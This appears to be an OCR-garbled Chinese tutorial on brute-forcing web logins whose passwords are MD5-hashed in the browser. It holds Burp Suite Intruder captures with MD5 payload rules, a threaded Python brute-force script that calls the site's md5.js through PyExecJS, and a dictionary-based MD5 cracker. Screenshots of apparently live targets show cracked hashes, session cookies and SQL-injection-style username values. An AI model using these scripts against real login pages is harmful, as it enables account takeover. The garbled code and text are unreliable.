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login.html

<!DOCTYPE HTML>

<html>
<head>
<meta charset="utf-8">
<title>FHPER</title>

<script type="text/ecmascript" src="md5.js"></script>
<script>
function checkInput() {
var password_input = document.getElementById('password');
var password_md5 = document.getElementById('password_md5");
// set password
password_md5.value =hex_md5(password_input.value);
return true;
}
</script>
</head>
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<body>

<form action="1ogin.php" method="post" onsubmit="return checkInput()">
HF : <input type="text" id="username" name="username"> <br/>
2219 - <input type="password" id="password"> <br/>
<input type="hidden" id="password_md5" name="password">

<input type="submit" value="%

</form>
</body>
</html>

/>

<form action="1ogin.php" method="post" onsubmit="return checkInput()">
FHP : <input type="text" id="username" name="username'"> <br/>
5 : <input type="password" id="password"> <br/>
<input type="hidden" id="password_md5" name="password">

<input type="submit" value="

</form>
</body>
</html>

/>
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http://127.0.0.1/login.html

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender | Optic

_[ ntercept T History T Options ]

[] Enable Post data [ | Enable Referrer

FF: |admin

FRD: |eeees

fo=o

(#] Requestto nttp127.0.0.1:80

l Forward J l Drop J [ Intercept is on ] Action

Raw Params Headers Hex

POST /loginphp HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW6G4; rvidB8.0) Gecko,/20100101 Firefox/48.0
Accept: text/html application/xhtml+xmlapplication/xml;q=0.9%/%q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en,9=0.3
Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/login.html

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/-www-form-urlencoded

Content-Length: 56

username:admin&password:{Z‘l 232f297a57a5a743894a0e4a801fc3 |
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3.1 Burp Suite Intruder
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1. MBEXEIntruder , tRICHEISEL , &F FPYFMEZL"Cluster bomb”
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EJ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload posttions - see help for full details.

Attack type: | Cluster bomb |v]

POST floginphp HTTP/1.1 A Add§
Host: 127.0.0.1 p| s )
User-Agent: Mozilla/5.0 (Windows NT 10.0; WO'WB4; rv:48.0) Gecko/20100101 Firefox/48.0 Clear §
Accept: text/htmlapplication,/«html +xml application/<mlq=0.9%/%q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=03 Auto §
Accept-Encoding: gzip, deflate —
Referer: http://127.0.0.1 /loginhtml Refresh

Connection: keep-alive
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 56

username=8admin§&password=§21232f297a57a5a743894a0e4a801 fc3§

2. PHERARPAFHNZINFE |, FRETEFHAAE , FEEMdSINE S X ZBFE TN R

[ Target T Positions TPayhads T Options ]

Payload set: | 2 | = Payload count: 7,513
Payload type: | Simple list | = Request count: 56,445 169

LEJ Payload Options [Simple list]

This paylead type lets you configure a simple list of strings that are used as payloads.

Paste admin &
admin12
Load .. admin2as ‘ Add payload processing rule »
| adming& >
Remove admin123 CJ Enter the details of the payload processing rule.
— | sy=admin
[iJ adminxoo lHa.sh |v]
adminx v
snazss
[LJ SHA-384
SHA-224
| Add from st .. v
SHA-256
MD2
B | SHA =
@ Payload Processing SHA-512
MD5
“fou can define rules to per; wvarious processing tazks on each payload before it is

Enabled | Rule
4] Hash: MDS

&
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3. FHAHTIER , RIBREIFEREAINEEMI , RIEREEFREFIZBFERAMDSE
admin:21232f297a57a5a743894a0e4a801fc3

Request | Payload | Payload2 Status | Error | Timeout | | Length ¥ | Comment
1 admin 212321297a57a5a7438%4a0e4a801fc3 200 a (=] 214
120 admin 212321297a57a5a743894a0e4a801fc3 200 g O 214
2 admin12 212321297a57a5a743884ale4a801fc3 200 [m] (0] 211
3 admin888 212321297a57a5a7438%4al0e4a801fc3 200 a (=] 21
4 admind 212321297a57a5a7438%4a0e4a801fc3 200 a O 211
5 admin123 212321267a57a5aT43804al0e4aB01fc3 200 a (=] pal|
[: sysadmin 21232f297a57a5a743894a0e4a801fc3 200 [m] [} 21
T adminoo: 212321297a57a5a7438%4a0e4a801fc3 200 (| (] 211
d admln)f 212321297a57a5ar43884ale4a8011c3 ‘ Result 120 | Intruder attack 1 _ =] %
El Bkadmin 212321297a57a5a743894a0e4a801fc3
10 base 212321297a57a5a743894a0e4a301fc3 Payload 1:  admin —_—
1" feitium 212321287257 a5a743894a0e4a801c3 Paylad 2. 212321297a57a5a743894a0e46301 fc3 L)
Status: 200 — =
Request | Response Length: 214 Next
Timer. 1 — =—
Raw | Params | Headers | Hex i
_—

PQST flogin.php HTTP/1.1

Host 127001 il
User-Agent: Mozilla/5.0 (Nindows NT 10.0; WO'W64; rv:48.0) Gecko/20100101 Firefo: Raw | Headers | i
Accept: text/html application/zhtml+xmlapplication/mlq=0.9,%/*q=0.8
Accept-Language: zh-CN,zh;g=0.8,en-US;q=05,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/login.htm!

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/=-www-form-urlencoded

Content-Length: 56

HTTP/1.1 200 OK

username =admin&password=21232f297a57a5a743894a0e4a801fc3 success
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3.2 PyExec)S

X FAPython Exed)sSEHAT)SIBEDRRIIIIK S EBEADHITINE

R

pip install PyExecJS

phantomjsT& : https://bitbucket.org/ariya/phantomjs/downloads/phantomijs-2.1.1-windows.zip

RS PythonIAHITIBH

I /usr/bin/env python

# _*_ coding:utf-8 _*_
import requests

import threadpool

from selenium import webdriver
import execjs

def getpass(str):
with open ('md5.js','r') as js:
source = js.read()
phantom = execjs.get('Phantomls"')
getpass = phantom.compile(source)
password = getpass.call('hex_md5',str)
return password

def login(user,passwd):
url="http://127.0.0.1/1ogin.php"
payload ={'username':user, 'password':getpass(passwd)}
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; wow64; rv:55.0) Gecko/20100101
Firefox/55.0"'}
try:
response = requests.post(url,data=payload,headers=headers, timeout=5)
result=response.content
if result.count('fail')<l:
print '[success] '

+url+":"+user+"': "+passwd


af://n31
https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-windows.zip

except:
pass

def getLines(fileName):
Tist=[]
with open(fileName, 'r') as fd:
for 1line in fd.readlines():
Tine = line.strip(Q
if not len(line) or line.startswith('#'):
continue
Tist.append(line)
return list

if _name_ == '_main__":
username_1list=getLines('user.dict')
password_1list=getLines('pass.dict')

userlist = [([user,passwd],None) for user in username_list for passwd in password_Tlist]
pool = threadpool.ThreadrPool(20)
reqs = threadpool.makeRequests(login,userlist)

[pool.putRequest(req) for req in reqs]
pool.wait()
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@ LoadURL [httpyst
& splitURL
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i |

f-2i<H E:!:EE HHEi: 2017-12-01 - 2017-12-11

[[] Enable Post data  [[] Enable Referrer
> RigHEEE

By |12
gxEE zdb
SRES admin
BRET zdb
BRET zdb
BRE® nyz
BRBET zdb
BRB% zdb
SxBF ntz
8RBT admin
EREE jyz
==k jxz

2. BIERESGAEEINARE |, IIEERFH , =

BFR&ER
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ELTETY

P i)
192.168.253.18 2017/12/10 21:07:35
192.168.253.18 2017/12/10 20:58:04
192.168.253.18 2017/12/10 20:54:59
192.168.253.18 2017/12/8 21:01:35
192.168.253.18 2017/12/8 15:47:09
192.168.253.18 2017/12/8 11:08:51
192.168.253.18 2017/12/8 10:37:10
192.168.253.18 201712/8 10:13:06
192.168.253.18 2017/12/8 8:42:46
192.168.253.18 2017/12/8 8:21:119
192.168.253.18 2017/12/8 8:19:23

BARRROIAITIRED |, AR |

RMEIMdS5ES : 6846860684f05029abccc09a53cd66f1

BXIIERE PR th AR XS

[ Recsst [ fosponsa |

Host:

o ] veasers T e |

HITP/1.1 200 OK
Cache—Control: private

Content-Type: text/htal; charset=utf-§
Wary: Accept-Enceding

Server: Microsoft-I115/7.5
K=-AspNet-Versiom: 4.0.30319
X-Powered-By: ASP.NET

Date: Mon. 11 Dec 2017 06:56:49 GHT
Connection: close

Content=Length: 16

[7SUCCESS™. "ok”]

3. md5HgfE ,

Request | Payload | Status | Eor | Tmeowt |Length 4| Comment |
f05020abece00a53.

124 BE4GBE0EE4 200 o =] IL[ Result 124 | Intruder attack 2 - o =
o 200 ] (ST baseine request
1 212321297a5Ta5aT43504a0848. . 200 (=] (=] 281 Paykad: 6845860684 f05029abccc9aslcostt (

N Previous
2 184415644168404387 1 adad03... 200 a o = fm::‘ 2‘; ;J
3 THet171468080d32c055618603 .. 200 =] o S (e |
5 0192023a7bbd732505160069d1 ., 200 (=] a 281 w8 3 ’—J
& 2803 5b4ce 163220500501 71, 200 =] [S] Action
7 d73edBa01fE24fcbBTEZOELCTH.. 200 o o 81
8 ci6ledBlaciadd2elfoaticEss.. 200 =] [SI-] [ETMI
] dlalbecSited1 413300 aa3bb.. 200 8] [S]
n 553618de15330c0M245ES541, . 200 o o E[;mTHudlrllﬂu]
il Zxcealeadeibideml T 20 a g [POST /ehecklogin. aspx HITP/L. 1 .

17

User—4gent: Mozilla/5.0 (Windows NT 10.0; WOWG4, rvi48.0) Gecko/20100101 Firefox/48.0
fccept: application/jsen, text/javascript. */#; g=0.01

Sceept-Language: zh-CN, 2hiq=0. 8, en-US:q=0. 5, en;g=0. 3

Accept—
Content-Type: application/z-www—form—urlencoded; charset=UTF-§
{-Requested-Vith: XMLHttpRequest
Referer: htp://1
Content-Length: B1
Cockie: ASP.NET_Sessionld=b3mpilkOezjmklhcwdgbrind
Connection: close

- he=tbEan=6846860634£05029ab coc0Bad3cdant Lpyan=tFke

Encoding: gzip. deflate

/login. htnl

SRASMASFTRSRANES : a111111

G846860684f0502%abeccl9ab3cdBaf

Baf]

EHiPaR:
4111111

EE3ul=r=3)
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Pythonfiizs :

I /usr/bin/env python

# -*- coding: utf-8 -*-
import hashlib

src="6846860684f05029abccc09a53cd66f1’
def get_1ine():
f = open('1.txt") #EtiAmode=‘r’
print 'start:'
while True:
Tine = f.readline().stripQ

if lTen(1line)==0:
print 'line 0'
break
ml = hashTlib.md5(0)
ml.update(Tine)
tmp =ml.hexdigest()
print Tine+" :"+tmp
if tmp==src:
print src+u': mdSRIRAYEA : "+1ine
break
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EE=l) ke BEE FEHS HEER

EH |120 40. 102,233 | wn: | ttezo 2] [ fEMssL Connection: close
Date: Thu, 24 May 2018 02:36:31 GMT
[r Transfer-Encoding: chunked
= Content-Type: text/html;charsec=UTF-&
B i ¥ & & I Server: Bpache-Coyote/l.1

HRER {rdesc:EMANELNAERE, EEFEA.. .7, "status":"1"}
s FEHIEL WIFE  HEE HER BN KE OE ~
1 adnin 9953 m T OOF
z adnin %200r. .. 0550 m EOF
3 " orke01%301— 6226 - -
4 adnins 9622 m EOF
5 base 0969 @ T
& adnin or’* %30 a127 am FOOF
H user 4655 m 5 OF
§ root 0243 am T OF
2 ceshi 8604 o FOF
10 superl 2727 - -
11 ceshil2s 1964 m EOF
12 adnini?3 6353 w0 EHE

P
14 test 3779 5 &
15 testl 5346 o T
16 test? 4050 o FOF
17 test123 8725 @ T
18 uzerl23 4413 200 ES ES
19 "o’ 830" o’ 5888 o 5"
20 Cor' WAl 4090 m T OOF
21 adn 2173 m EOF

MNEBRSEHEBRITARRS L | RDZALAAAATEHRAILNRS —EERE— T, FERSREESFEIE.
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